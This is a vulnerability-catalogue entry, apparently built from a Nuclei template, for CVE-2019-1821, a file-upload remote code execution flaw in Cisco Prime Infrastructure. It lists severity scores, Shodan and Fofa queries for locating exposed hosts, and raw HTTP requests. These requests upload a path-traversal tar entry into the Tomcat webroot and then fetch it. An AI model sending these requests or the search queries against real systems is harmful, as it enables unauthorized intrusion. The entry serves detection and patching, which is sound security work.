| Title | Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager - Remote Code Execution |
|---|---|
| Author | _0xf4n9x_ |
| Severity | Critical |
| Impact | Authenticated attackers can upload malicious files to execute code with root-level privileges on the underlying operating system, leading to complete system compromise and potential network infiltration. |
| Remediation | Apply the latest security patches provided by Cisco to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94044 |
| CVE ID | CVE-2019-1821 |
| CWE ID | CWE-20 |
| Shodan Query | http.title:"prime infrastructure" |
| Fofa Query | title="prime infrastructure" |
| Tags | cve cve2019 packetstorm rce fileupload unauth intrusive cisco vkev vuln |
Cisco Prime Infrastructure (PI) and Cisco Evolved Programmable Network (EPN) Manager could allow an authenticated, remote attacker to execute code with root-level privileges on the underlying operating system. This vulnerability exist because the software improperly validates user-supplied input. An attacker could exploit this vulnerability by uploading a malicious file to the administrative web interface. A successful exploit could allow the attacker to execute code with root-level privileges on the underlying operating system.
POST /servlet/UploadServlet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0
Connection: close
Content-Length: 292
Accept-Encoding: gzip, deflate
Compressed-Archive: false
Content-Type: multipart/form-data; boundary=871a4a346a547cf05cb83f57b9ebcb83
Destination-Dir: tftpRoot
Filecount: 1
Filename: test.tar
Filesize: 10240
Primary-IP: 127.0.0.1
--871a4a346a547cf05cb83f57b9ebcb83
Content-Disposition: form-data; name="files"; filename="test.tar"
../../opt/CSCOlumos/tomcat/webapps/ROOT/test.txt0000644000000000000000000000000400000000000017431 0ustar 0000000000000038FXtYHBey4wkKJ14Mh3YUpll4y
--871a4a346a547cf05cb83f57b9ebcb83--
GET /test.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.8
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-1821.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-1821.pcap
N/AN/A